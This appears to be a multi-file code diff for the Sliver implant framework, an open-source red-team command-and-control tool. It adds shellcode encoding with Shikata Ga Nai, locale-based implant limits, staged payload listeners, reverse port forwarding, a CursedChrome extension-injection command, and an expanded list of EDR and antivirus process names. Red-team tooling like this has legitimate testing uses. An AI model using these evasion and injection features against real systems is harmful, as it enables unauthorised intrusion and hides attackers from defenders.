kerberosKeytabFile := ctx.Flags.String("kerberos-keytab")
if kerberosRealm != "" && kerberosKeytabFile == "" {
con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
return
}
kerberosKeytab, err := ioutil.ReadFile(kerberosKeytabFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
oldUsername := username
@@ -59,6 +72,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
PrivKey: privKey,
Password: password,
Command: strings.Join(command, " "),
Realm: kerberosRealm,
Krb5Conf: kerberosConfig,
Keytab: kerberosKeytab,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+1 -2
View File
@@ -22,7 +22,6 @@ import (
"context"
"fmt"
"os"
"path"
"path/filepath"
"regexp"
"runtime"
@@ -173,7 +172,7 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
}
}
dst = path.Join(dst, fileName)
dst = filepath.Join(dst, fileName)
}
// Add an extension to a directory download if one is not provided.
+33 -1
View File
@@ -249,6 +249,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
limitUsername := ctx.Flags.String("limit-username")
limitDatetime := ctx.Flags.String("limit-datetime")
limitFileExists := ctx.Flags.String("limit-fileexists")
limitLocale := ctx.Flags.String("limit-locale")
isSharedLib := false
isService := false
@@ -281,6 +282,10 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
if targetOS == "" || targetArch == "" {
return nil
}
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
return nil
}
if len(namedPipeC2) > 0 && targetOS != "windows" {
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
return nil
@@ -333,6 +338,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
LimitUsername: limitUsername,
LimitDatetime: limitDatetime,
LimitFileExists: limitFileExists,
LimitLocale: limitLocale,
Format: configFormat,
IsSharedLib: isSharedLib,
@@ -473,6 +479,7 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
uri.Path = strings.TrimSuffix(uri.Path, "/")
if uri.Scheme != "http" && uri.Scheme != "https" {
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
}
@@ -636,12 +643,34 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
return nil, errors.New("no file data")
}
fileData := generated.File.Data
if config.IsShellcode {
confirm := false
survey.AskOne(&survey.Confirm{Message: "Encode shellcode with shikata ga nai?"}, &confirm)
if confirm {
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: fileData,
})
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.Printf("success!\n")
fileData = resp.GetData()
}
}
}
saveTo, err := saveLocation(save, generated.File.Name)
if err != nil {
return nil, err
}
err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
err = ioutil.WriteFile(saveTo, fileData, 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return nil, err
@@ -667,6 +696,9 @@ func getLimitsString(config *clientpb.ImplantConfig) string {
if config.LimitFileExists != "" {
limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
}
if config.LimitLocale != "" {
limits = append(limits, fmt.Sprintf("locale=%s", config.LimitLocale))
}
return strings.Join(limits, "; ")
}
+18 -3
View File
@@ -103,6 +103,8 @@ var (
consts.ReactionStr: reactionHelp,
consts.ReactionStr + sep + consts.SetStr: reactionSetHelp,
consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
}
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -204,10 +206,10 @@ stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
profiles new --format shellcode --mtls 1.2.3.4 --skip-symbols windows-shellcode
`
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new <options> <profile name>
[[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
@@ -462,7 +464,7 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
[[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
[[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --http ab.cd windows-shellcode
`
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
@@ -686,6 +688,19 @@ dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /t
getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
`
cursedChromeHelp = `[[.Bold]]Command:[[.Normal]] cursed chrome
[[.Bold]]About:[[.Normal]] Injects a Cursed Chrome payload into an existing Chrome extension.
If no extension is specified, Sliver will enumerate all installed extensions, extract their
permissions and determine a valid target for injection. For Cursed Chrome to work properly
the target extension must have either of these two sets of permissions:
1. "webRequest" "webRequestBlocking" "<all_urls>"
2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*"
More information: https://github.com/mandatoryprogrammer/CursedChrome
`
)
+5
View File
@@ -26,6 +26,7 @@ import (
"sort"
"strings"
"text/tabwriter"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
@@ -65,10 +66,12 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
"ID",
"Hostname",
"Operating System",
"Locale",
"Sessions",
"Beacons",
"IOCs",
"Extensions",
"First Contact",
})
for _, host := range hosts {
var shortID string
@@ -81,10 +84,12 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
shortID,
host.Hostname,
host.OSVersion,
host.Locale,
hostSessions(host.HostUUID, con),
hostBeacons(host.HostUUID, con),
len(host.IOCs),
len(host.ExtensionData),
con.FormatDateDelta(time.Unix(host.FirstContact, 0), true, false),
})
}
return tw.Render()
+26 -3
View File
@@ -22,6 +22,7 @@ import (
"context"
"time"
"github.com/bishopfox/sliver/client/command/use"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -33,10 +34,25 @@ import (
// InfoCmd - Display information about the active session
func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
var err error
// Check if we have an active target via 'use'
session, beacon := con.ActiveTarget.Get()
idArg := ctx.Args.String("session")
if idArg != "" {
// ID passed via argument takes priority
session, beacon, err = use.SessionOrBeaconByID(idArg, con)
} else {
if session == nil && beacon == nil {
session, beacon, err = use.SelectSessionOrBeacon(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
}
if session != nil {
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
@@ -49,11 +65,14 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, session.PID)
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, session.Locale)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.FirstContact, 0), true, false))
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.LastCheckin, 0), true, false))
} else if beacon != nil {
@@ -67,12 +86,16 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, beacon.PID)
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, beacon.Locale)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.FirstContact, 0), true, false))
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), true, false))
con.Printf(console.Bold+" Next Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), true, true))
} else {
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
+1
View File
@@ -68,6 +68,7 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
EnforceOTP: !disableOTP,
LongPollTimeout: int64(longPollTimeout),
LongPollJitter: int64(longPollJitter),
RandomizeJARM: !ctx.Flags.Bool("disable-randomized-jarm"),
})
con.Println()
if err != nil {
+17
View File
@@ -22,6 +22,7 @@ import (
"bytes"
"compress/zlib"
"context"
"encoding/binary"
"net/url"
"strconv"
"strings"
@@ -39,6 +40,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
listenerURL := ctx.Flags.String("url")
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
prependSize := ctx.Flags.Bool("prepend-size")
compress := strings.ToLower(ctx.Flags.String("compress"))
if profileName == "" || listenerURL == "" {
@@ -117,6 +119,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
switch stagingURL.Scheme {
case "http":
if prependSize {
stage2 = prependPayloadSize(stage2)
}
ctrl := make(chan bool)
con.SpinUntil("Starting HTTP staging listener...", ctrl)
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -133,6 +138,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID())
case "https":
if prependSize {
stage2 = prependPayloadSize(stage2)
}
cert, key, err := getLocalCertificatePair(ctx)
if err != nil {
con.Println()
@@ -158,6 +166,8 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID())
case "tcp":
// Always prepend payload size for TCP stagers
stage2 = prependPayloadSize(stage2)
ctrl := make(chan bool)
con.SpinUntil("Starting TCP staging listener...", ctrl)
stageListener, err := con.Rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -184,3 +194,10 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
}
}
func prependPayloadSize(payload []byte) []byte {
payloadSize := uint32(len(payload))
lenBuf := make([]byte, 4)
binary.LittleEndian.PutUint32(lenBuf, payloadSize)
return append(lenBuf, payload...)
}
+14 -4
View File
@@ -19,8 +19,10 @@ package portfwd
*/
import (
"fmt"
"log"
"net"
"regexp"
"time"
"github.com/bishopfox/sliver/client/console"
@@ -29,6 +31,10 @@ import (
"github.com/desertbit/grumble"
)
var (
portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
)
// PortfwdAddCmd - Add a new tunneled port forward
func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
@@ -36,10 +42,10 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
if session.GetActiveC2() == "dns" {
con.PrintWarnf("Current C2 is DNS, this is going to be a very slow tunnel!\n")
con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
}
if session.Transport == "wg" {
con.PrintWarnf("Current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
con.PrintWarnf("The current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
}
remoteAddr := ctx.Flags.String("remote")
if remoteAddr == "" {
@@ -55,10 +61,14 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintWarnf("RDP is generally broken over tunneled portfwds, we recommend using WireGuard portfwds\n")
}
bindAddr := ctx.Flags.String("bind")
if remoteAddr == "" {
con.PrintErrorf("Must specify a bind target host:port")
if bindAddr == "" {
con.PrintErrorf("Must specify a bind target host:port (e.g. 127.0.0.1:8000)")
return
}
// If only a port is specified bind to localhost
if portNumberOnlyRegexp.MatchString(bindAddr) {
bindAddr = fmt.Sprintf("127.0.0.1:%s", bindAddr)
}
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
+1 -1
View File
@@ -53,7 +53,7 @@ func PrintPortfwd(con *console.SliverConsoleClient) {
"Remote Address",
})
for _, p := range portfwds {
tw.AppendHeader(table.Row{
tw.AppendRow(table.Row{
p.ID,
p.SessionID,
p.BindAddr,
+21
View File
@@ -39,6 +39,11 @@ var (
// Process Name -> [Color, Stylized Name]
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
"RepMgr.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepUtils.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
@@ -46,12 +51,28 @@ var (
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgent.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgentWorker.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelBrowserNativeHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelUI.exe": {console.Red, "SentinelOne"}, // Sentinel One
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
"CylanceSvc.exe": {console.Red, "Cylance"}, // Cylance
"CylanceUI.exe": {console.Red, "Cylance"}, // Cylance
"TaniumClient.exe": {console.Red, "Tanium"}, // Tanium
"TaniumCX.exe": {console.Red, "Tanium"}, // Tanium
"TaniumDetectEngine.exe": {console.Red, "Tanium"}, // Tanium
}
)
+5 -3
View File
@@ -19,6 +19,7 @@ package reaction
*/
import (
"fmt"
"os"
"github.com/AlecAivazis/survey/v2"
@@ -29,9 +30,10 @@ import (
// ReactionSaveCmd - Manage reactions to events
func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if _, err := os.Stat(GetReactionFilePath()); !os.IsNotExist(err) {
reactionPath := GetReactionFilePath()
if _, err := os.Stat(reactionPath); !os.IsNotExist(err) {
confirm := false
prompt := &survey.Confirm{Message: "Overwrite reactions on disk?"}
prompt := &survey.Confirm{Message: fmt.Sprintf("Overwrite reactions (%s) on disk?", reactionPath)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
@@ -41,6 +43,6 @@ func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Saved reactions to disk\n")
con.PrintInfof("Saved reactions to disk (%s)\n", reactionPath)
}
}
+77
View File
@@ -0,0 +1,77 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"regexp"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
var (
portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
)
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
func StartRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
if session.GetActiveC2() == "dns" {
con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
}
bindAddress := ctx.Flags.String("bind")
// Check if the bind address is just a port number, if no host is specified
// we just bind to all interfaces implant-side
if portNumberOnlyRegexp.MatchString(bindAddress) {
bindAddress = fmt.Sprintf(":%s", bindAddress)
}
forwardAddress := ctx.Flags.String("remote")
// Check if the forward address is just a port number, if no host is specified
// we just forward to localhost client-side
if portNumberOnlyRegexp.MatchString(forwardAddress) {
forwardAddress = fmt.Sprintf("127.0.0.1:%s", forwardAddress)
}
rportfwdListener, err := con.Rpc.StartRportFwdListener(context.Background(), &sliverpb.RportFwdStartListenerReq{
Request: con.ActiveTarget.Request(ctx),
BindAddress: bindAddress,
ForwardAddress: forwardAddress,
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
printStartedRportFwdListener(rportfwdListener, con)
}
func printStartedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
con.PrintErrorf("%s", rportfwdListener.Response.Err)
return
}
con.PrintInfof("Reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
}
+55
View File
@@ -0,0 +1,55 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
func StopRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
listenerID := ctx.Flags.Int("id")
rportfwdListener, err := con.Rpc.StopRportFwdListener(context.Background(), &sliverpb.RportFwdStopListenerReq{
Request: con.ActiveTarget.Request(ctx),
ID: uint32(listenerID),
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
printStoppedRportFwdListener(rportfwdListener, con)
}
func printStoppedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
con.PrintErrorf("%s", rportfwdListener.Response.Err)
return
}
con.PrintInfof("Stopped reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
}
+74
View File
@@ -0,0 +1,74 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
func RportFwdListenersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
rportfwdListeners, err := con.Rpc.GetRportFwdListeners(context.Background(), &sliverpb.RportFwdListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
PrintRportFwdListeners(rportfwdListeners, ctx.Flags, con)
}
func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags grumble.FlagMap, con *console.SliverConsoleClient) {
if rportfwdListeners.Response != nil && rportfwdListeners.Response.Err != "" {
con.PrintErrorf("%s\n", rportfwdListeners.Response.Err)
return
}
if len(rportfwdListeners.Listeners) == 0 {
con.PrintInfof("No reverse port forwards\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Remote Address",
"Bind Address",
})
for _, p := range rportfwdListeners.Listeners {
tw.AppendRow(table.Row{
p.ID,
p.ForwardAddress,
p.BindAddress,
})
}
con.Printf("%s\n", tw.Render())
}
+6 -3
View File
@@ -130,8 +130,9 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
wideTermWidth := con.Settings.SmallTermWidth < width
if con.Settings.SmallTermWidth < width {
if wideTermWidth {
tw.AppendHeader(table.Row{
"ID",
"Name",
@@ -140,6 +141,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
"Hostname",
"Username",
"Operating System",
"Locale",
"Last Message",
"Health",
})
@@ -177,7 +179,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
var rowEntries []string
if con.Settings.SmallTermWidth < width {
if wideTermWidth {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
@@ -186,7 +188,8 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
fmt.Sprintf(color+"%s"+console.Normal, session.Locale),
con.FormatDateDelta(time.Unix(session.LastCheckin, 0), wideTermWidth, false),
burned + SessionHealth,
}
} else {
+81
View File
@@ -0,0 +1,81 @@
package sgn
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/hex"
"io/ioutil"
"path/filepath"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder
func ShikataGaNaiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
shellcodeFile := ctx.Args.String("shellcode")
rawShellcode, err := ioutil.ReadFile(shellcodeFile)
if err != nil {
con.PrintErrorf("Failed to read shellcode file: %s", err)
return
}
arch := ctx.Flags.String("arch")
iterations := ctx.Flags.Int("iterations")
rawBadChars := ctx.Flags.String("bad-chars")
badChars, err := hex.DecodeString(rawBadChars)
if err != nil {
con.PrintErrorf("Failed to decode bad chars: %s", err)
return
}
con.PrintInfof("Encoding shellcode with %d iterations and %d bad chars\n", iterations, len(badChars))
shellcodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: arch,
Iterations: uint32(iterations),
BadChars: badChars,
Data: rawShellcode,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if shellcodeResp.Response != nil && shellcodeResp.Response.Err != "" {
con.PrintErrorf("%s\n", shellcodeResp.Response.Err)
return
}
outputFile := ctx.Flags.String("save")
if outputFile == "" {
outputFile = filepath.Base(shellcodeFile)
outputFile += ".sgn"
}
err = ioutil.WriteFile(outputFile, shellcodeResp.Data, 0644)
if err != nil {
con.PrintErrorf("Failed to write shellcode file: %s", err)
return
}
con.PrintInfof("Shellcode written to %s (%d bytes)\n", outputFile, len(shellcodeResp.Data))
}
+2
View File
@@ -157,6 +157,8 @@ func emojiState(state string) string {
return "⏳"
case "failed":
return "❌"
case "canceled":
return "🚫"
default:
return "❓"
}
+60
View File
@@ -0,0 +1,60 @@
package tasks
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// TasksCancelCmd - Cancel a beacon task before it's sent to the implant
func TasksCancelCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon := con.ActiveTarget.GetBeaconInteractive()
if beacon == nil {
return
}
idArg := ctx.Args.String("id")
var task *clientpb.BeaconTask
var err error
if idArg == "" {
beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
tasks := []*clientpb.BeaconTask{}
for _, task := range beaconTasks.Tasks {
if task.State == "pending" {
tasks = append(tasks, task)
}
}
if len(tasks) == 0 {
con.PrintErrorf("No pending tasks for beacon\n")
return
}
task, err = SelectBeaconTask(tasks)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf(console.UpN+console.Clearln, 1)
} else {
task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{ID: idArg})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if task != nil {
task, err := con.Rpc.CancelBeaconTask(context.Background(), task)
if err != nil {
